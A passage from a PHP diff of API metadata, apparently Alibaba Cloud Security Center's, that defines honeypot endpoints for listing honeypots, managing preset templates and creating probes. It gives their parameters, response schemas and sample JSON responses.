'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'mx-rouyi', + ], + ], + [ + 'name' => 'NodeName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'honeypot_master', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点唯一ID', + 'description' => '蜜罐管理节点ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + [ + 'name' => 'HoneypotIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '蜜罐id检索', + 'description' => '蜜罐ID集合。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐ID。', + 'type' => 'string', + 'required' => false, + 'example' => '76c2a1c72ef259777d96d55a7834e5f5d98f85666c49f76ad9caa447d8b7****', + ], + 'required' => false, + 'maxItems' => 50, + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '蜜罐数据列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'HoneypotId' => [ + 'title' => '蜜罐ID', + 'description' => '蜜罐ID。', + 'type' => 'string', + 'example' => '76c2a1c72ef259777d96d55a7834e5f5d98f85666c49f76ad9caa447d8b7****', + ], + 'HoneypotName' => [ + 'title' => '蜜罐自定义名称', + 'description' => '蜜罐名称。', + 'type' => 'string', + 'example' => 'mx-rouyi', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => '0804-pre', + ], + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'tcp_proxy', + ], + 'PresetId' => [ + 'title' => '蜜罐自定义参数ID', + 'description' => '蜜罐自定义参数ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + 'State' => [ + 'title' => '蜜罐状态', + 'description' => '蜜罐状态。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐状态。取值：'."\n" + .'- **starting**：开启中'."\n" + .'- **running**：正常'."\n" + .'- **exited**：关闭'."\n" + .'- **upgrade**：更新中'."\n" + .'- **deleting**：正在删除中'."\n" + .'- **resetting**：重置中'."\n" + .'- **created**：完成创建'."\n" + .'- **stopping**：停止中', + 'type' => 'string', + 'example' => 'running', + ], + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像显示名称', + 'description' => '蜜罐镜像显示名称。', + 'type' => 'string', + 'example' => 'MongoDB', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点ID。', + 'type' => 'string', + 'example' => 'c94eff5b-ea48-4805-8b7f-e04d3509b117', + ], + 'HoneypotImageId' => [ + 'description' => '蜜罐镜像ID。', + 'type' => 'string', + 'example' => 'sha256:eca5ced3757e46c24701e9ced4e652f2d730262d5685a4e001da22c4fb418fd4', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '错误码的详细信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C80AFF1F-CC20-502C-A4D4-F5433E529B69', + ], + 'HttpStatusCode' => [ + 'description' => 'HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"HoneypotId\\": \\"76c2a1c72ef259777d96d55a7834e5f5d98f85666c49f76ad9caa447d8b7****\\",\\n \\"HoneypotName\\": \\"mx-rouyi\\",\\n \\"ControlNodeName\\": \\"0804-pre\\",\\n \\"HoneypotImageName\\": \\"tcp_proxy\\",\\n \\"PresetId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\",\\n \\"State\\": [\\n \\"running\\"\\n ],\\n \\"HoneypotImageDisplayName\\": \\"MongoDB\\",\\n \\"NodeId\\": \\"c94eff5b-ea48-4805-8b7f-e04d3509b117\\",\\n \\"HoneypotImageId\\": \\"sha256:eca5ced3757e46c24701e9ced4e652f2d730262d5685a4e001da22c4fb418fd4\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 2\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"C80AFF1F-CC20-502C-A4D4-F5433E529B69\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐列表', + ], + 'CreateHoneypotPreset' => [ + 'summary' => '创建蜜罐模板。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotImageName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'webmin', + ], + ], + [ + 'name' => 'PresetName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板自定义名称', + 'description' => '蜜罐模板自定义名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'WebMin-online', + ], + ], + [ + 'name' => 'Meta', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板自定义参数', + 'description' => '蜜罐模板自定义参数，格式为JSON格式的字符串。包含以下字段：'."\n" + .'- **portrait_option**：社交溯源'."\n" + .'- **burp**：Burp反制'."\n" + .'- **trojan_git**：Git反制', + 'type' => 'string', + 'required' => true, + 'example' => '{"burp":"close","trojan_git":"close","portrait_option":"true"}', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点唯一id', + 'description' => '蜜罐管理节点唯一ID。'."\n" + .'>调用[ListHoneypotNode](~~ListHoneypotNode~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '9373fe59-74d5-4505-bb24-c85352fb****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7C1C6E65-C8B9-54C9-9F92-2F5E51C4E16D', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + 'HoneypotPreset' => [ + 'description' => '蜜罐模板的创建结果。', + 'type' => 'object', + 'properties' => [ + 'HoneypotPresetId' => [ + 'description' => '蜜罐模板唯一ID。', + 'type' => 'string', + 'example' => 'd6ece172-34d9-4942-99a4-b309cb55xxxx', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"7C1C6E65-C8B9-54C9-9F92-2F5E51C4E16D\\",\\n \\"HttpStatusCode\\": 200,\\n \\"HoneypotPreset\\": {\\n \\"HoneypotPresetId\\": \\"d6ece172-34d9-4942-99a4-b309cb55xxxx\\"\\n }\\n}","type":"json"}]', + 'title' => '创建蜜罐模板', + ], + 'UpdateHoneypotPreset' => [ + 'summary' => '更改指定的蜜罐模板配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'write', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasZLVTBH', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotImageName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'metabase', + ], + ], + [ + 'name' => 'PresetName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板自定义名称', + 'description' => '蜜罐模板自定义名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'apc_web_python', + ], + ], + [ + 'name' => 'HoneypotPresetId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板唯一ID', + 'description' => '蜜罐模板唯一ID。'."\n" + .'>调用[ListHoneypotPreset](~~ListHoneypotPreset~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'f75eddce-e9d3-4a88-af95-b10b6f65xxxx', + ], + ], + [ + 'name' => 'Meta', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板自定义参数', + 'description' => '蜜罐模板自定义参数，格式为JSON格式的字符串。包含以下字段：'."\n" + .'- **portrait_option**：社交溯源'."\n" + .'- **burp**：Burp反制'."\n" + .'- **trojan_git**：Git反制', + 'type' => 'string', + 'required' => false, + 'example' => '{"portrait_option":true,"burp":"open"}', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'BaseResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败'."\n", + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '60922C83-6B19-5A57-8F13-4663C6D391F4', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"60922C83-6B19-5A57-8F13-4663C6D391F4\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '更改蜜罐模板配置', + ], + 'GetHoneypotPreset' => [ + 'summary' => '获取指定的蜜罐模板配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotPresetId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板唯一ID', + 'description' => '蜜罐模板唯一ID。'."\n" + .'>调用[ListHoneypotPreset](~~ListHoneypotPreset~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '207ca117-44b9-495d-84e7-50289b4cxxxx', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PlainResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '蜜罐模板数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotImageName' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'ruoyi', + ], + 'PresetName' => [ + 'title' => '蜜罐模板自定义名称', + 'description' => '蜜罐模板自定义名称。', + 'type' => 'string', + 'example' => 'ssh', + ], + 'HoneypotPresetId' => [ + 'title' => '蜜罐模板唯一ID', + 'description' => '蜜罐模板唯一ID。', + 'type' => 'string', + 'example' => '94fd8805-d178-4361-84d3-de47fb4e****', + ], + 'Meta' => [ + 'title' => '蜜罐模板自定义参数', + 'description' => '蜜罐模板自定义参数。', + 'type' => 'string', + 'example' => '{"trojan_git":"zip","burp":"open","portrait_option":"true"}', + ], + 'FileInfoList' => [ + 'title' => '文件参数', + 'description' => '文件参数。', + 'type' => 'array', + 'items' => [ + 'description' => '文件信息。', + 'type' => 'object', + 'properties' => [ + 'FileId' => [ + 'description' => '文件ID。', + 'type' => 'string', + 'example' => 'HONEYPOT_FILE/1765_167040128****', + ], + 'FileName' => [ + 'description' => '文件名称。', + 'type' => 'string', + 'example' => 'HONEYPOT_FILE****', + ], + 'OssUrl' => [ + 'description' => '下载地址。', + 'type' => 'string', + 'example' => 'http://aegis****', + ], + ], + ], + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'managerNodename', + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像展示名称', + 'description' => '蜜罐镜像展示名称。', + 'type' => 'string', + 'example' => 'RuoYi', + ], + 'PresetType' => [ + 'title' => '模板类型', + 'description' => '模板类型。取值：'."\n" + ."\n" + .'- **TEMP**：自动生成'."\n" + .'- **CUSTOM**：自定义'."\n" + .'- **DEFAULT**：默认模板', + 'type' => 'string', + 'example' => 'CUSTOM', + ], + ], + ], + 'Success' => [ + 'description' => '是否调用成功。取值：'."\n" + .'- **true**：调用成功。'."\n" + .'- **false**：调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求返回的信息。', + 'type' => 'string', + 'example' => 'success', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '38AFE393-88E8-5642-B3E2-D57C6E76025D', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"HoneypotImageName\\": \\"ruoyi\\",\\n \\"PresetName\\": \\"ssh\\",\\n \\"HoneypotPresetId\\": \\"94fd8805-d178-4361-84d3-de47fb4e****\\",\\n \\"Meta\\": \\"{\\\\\\"trojan_git\\\\\\":\\\\\\"zip\\\\\\",\\\\\\"burp\\\\\\":\\\\\\"open\\\\\\",\\\\\\"portrait_option\\\\\\":\\\\\\"true\\\\\\"}\\",\\n \\"FileInfoList\\": [\\n {\\n \\"FileId\\": \\"HONEYPOT_FILE/1765_167040128****\\",\\n \\"FileName\\": \\"HONEYPOT_FILE****\\",\\n \\"OssUrl\\": \\"http://aegis****\\"\\n }\\n ],\\n \\"NodeId\\": \\"a882e590-b87b-45a6-87b9-d0a3e5a0****\\",\\n \\"ControlNodeName\\": \\"managerNodename\\",\\n \\"HoneypotImageDisplayName\\": \\"RuoYi\\",\\n \\"PresetType\\": \\"CUSTOM\\"\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"success\\",\\n \\"RequestId\\": \\"38AFE393-88E8-5642-B3E2-D57C6E76025D\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '获取蜜罐模板配置', + ], + 'ListHoneypotPreset' => [ + 'summary' => '查询蜜罐模板列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'HoneypotImageName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐镜像名称', + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'ruoyi', + ], + ], + [ + 'name' => 'PresetName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐模板自定义名称', + 'description' => '蜜罐模板自定义名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'mx-rouyi', + ], + ], + [ + 'name' => 'NodeName', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'Node1', + ], + ], + [ + 'name' => 'NodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '蜜罐管理节点唯一ID', + 'description' => '蜜罐管理节点唯一ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'd892b4fe-af0d-4486-ab2a-8a518045****', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'en', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，pagesize参数值为空时，将默认返回20条数据。'."\n" + .'>建议pagesize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'PageResult', + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '蜜罐模板列表。', + 'type' => 'array', + 'items' => [ + 'description' => '蜜罐模板数据。', + 'type' => 'object', + 'properties' => [ + 'HoneypotImageName' => [ + 'description' => '蜜罐镜像名称。', + 'type' => 'string', + 'example' => 'metabase', + ], + 'PresetName' => [ + 'title' => '蜜罐模板自定义名称', + 'description' => '蜜罐模板自定义名称。', + 'type' => 'string', + 'example' => 'WebMin-online', + ], + 'HoneypotPresetId' => [ + 'title' => '蜜罐模板唯一ID', + 'description' => '蜜罐模板唯一ID。', + 'type' => 'string', + 'example' => '3cc04a47-7229-418c-8101-f10a2887****', + ], + 'NodeId' => [ + 'title' => '管理节点唯一id', + 'description' => '管理节点唯一ID。', + 'type' => 'string', + 'example' => 'c94eff5b-ea48-4805-8b7f-e04d3509****', + ], + 'ControlNodeName' => [ + 'title' => '蜜罐管理节点名称', + 'description' => '蜜罐管理节点名称。', + 'type' => 'string', + 'example' => 'node1', + ], + 'HoneypotImageDisplayName' => [ + 'title' => '蜜罐镜像展示名称', + 'description' => '蜜罐镜像展示名称。', + 'type' => 'string', + 'example' => 'Metabase', + ], + 'PresetType' => [ + 'title' => '模板类型', + 'description' => '模板类型。取值：'."\n" + .'- **TEMP**：自动生成'."\n" + .'- **CUSTOM**：自定义'."\n" + .'- **DEFAULT**：默认模板', + 'type' => 'string', + 'example' => 'CUSTOM', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的蜜罐模板数量。默认值为20，表示每页显示20条蜜罐模板数据。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的蜜罐模板数据的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '55', + ], + 'Count' => [ + 'description' => '当前页面显示的蜜罐模板信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + 'Success' => [ + 'description' => '接口调用是否成功。取值：'."\n" + ."\n" + .'- **true**：接口调用成功。'."\n" + .'- **false**：接口调用失败。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Code' => [ + 'description' => '结果代码，**200**表示成功，若为别的值则表示失败，调用方可根据此字段判断失败原因。', + 'type' => 'string', + 'example' => '200', + ], + 'Message' => [ + 'description' => '请求结果返回信息。', + 'type' => 'string', + 'example' => 'successful', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0C656B33-0D6B-5953-A26A-D766BD75B44A', + ], + 'HttpStatusCode' => [ + 'description' => '请求数据结果的HTTP状态码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"HoneypotImageName\\": \\"metabase\\",\\n \\"PresetName\\": \\"WebMin-online\\",\\n \\"HoneypotPresetId\\": \\"3cc04a47-7229-418c-8101-f10a2887****\\",\\n \\"NodeId\\": \\"c94eff5b-ea48-4805-8b7f-e04d3509****\\",\\n \\"ControlNodeName\\": \\"node1\\",\\n \\"HoneypotImageDisplayName\\": \\"Metabase\\",\\n \\"PresetType\\": \\"CUSTOM\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 55,\\n \\"Count\\": 20\\n },\\n \\"Success\\": true,\\n \\"Code\\": \\"200\\",\\n \\"Message\\": \\"successful\\",\\n \\"RequestId\\": \\"0C656B33-0D6B-5953-A26A-D766BD75B44A\\",\\n \\"HttpStatusCode\\": 200\\n}","type":"json"}]', + 'title' => '查询蜜罐模板列表', + ], + 'CreateHoneypotProbe' => [ + 'summary' => '新增蜜罐探针信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasY2S7U2', + ], + ], + 'parameters' => [ + [ + 'name' => 'ControlNodeId', + 'in' => 'query', + 'schema' => [ + 'title' => '管理节点id', + 'description' => '管理节点ID。'."\n" + .'> 您可以调用[ListHoneypotNode](~~ListHoneypotNode~~)接口获取该值', + 'type' => 'string', + 'required' => true, + 'example' => 'a882e590-b87b-45a6-87b9-d0a3e5a0****', + ], + ], + [ + 'name' => 'ProbeType', + 'in' => 'query', + 'schema' => [ + 'title' => '探针类型 主机探针 VPC黑洞探针', + 'description' => '探针类型。取值：'."\n" + ."\n" + .'- **host_probe**：主机探针'."\n" + ."\n" + .'- **vpc\\_black\\_hole_probe**：VPC黑洞探针', + 'type' => 'string', + 'required' => true, + 'example' => 'host_probe', + ], + ], + [ + 'name' => 'DisplayName', + 'in' => 'query', + 'schema' => [ + 'title' => '探针名称', + 'description' => '探针名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'testHoneyPotProbe', + ], + ], + [ + 'name' => 'ProbeVersion', + 'in' => 'query', + 'schema' => [ + 'title' => '探针版本', + 'description' => '探针版本。', + 'type' => 'string', + 'required' => false, + 'example' => '0.0.0', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'title' => '实例', + 'description' => '实例UUID。'."\n" + .'> **ProbeType**为**host_probe**时该值不能为空。', + 'type' => 'string', + 'required' => false, + 'example' => 'e4af3620-6895-4e2f-a641-a9d8fb53****', + ], + ], + [ + 'name' => 'BusinessGroupId', + 'in' => 'query', + 'schema' => [ + 'title' => '业务分组', + 'description' => '业务分组 。', + 'type' => 'string', + 'required' => false, + 'example' => '2022011817324588686', + ], + ], + [ + 'name' => 'HoneypotBindList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '蜜罐绑定信息', + 'description' => '配置服务集合。', + 'type' => 'array', + 'items' => [ + 'description' => '配置服务详情。', + 'type' => 'object', + 'properties' => [ + 'BindPortList' => [ + 'description' => '监听端口列表。', + 'type' => 'array', + 'items' => [ + 'description' => '监听端口详情。', + 'type' => 'object', + 'properties' => [ + 'TargetPort' => [ + 'description' => '目标端口。'."\n" + .'> **HoneypotId**不为空时该值不能为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '80', + ], + 'StartPort' => [ + 'description' => '开始端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '80', + ], + 'EndPort' => [ + 'description' => '结束端口。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '90', + ], + 'Fixed' => [ + 'description' => '是否固定端口。取值：'."\n" + ."\n" + .'- 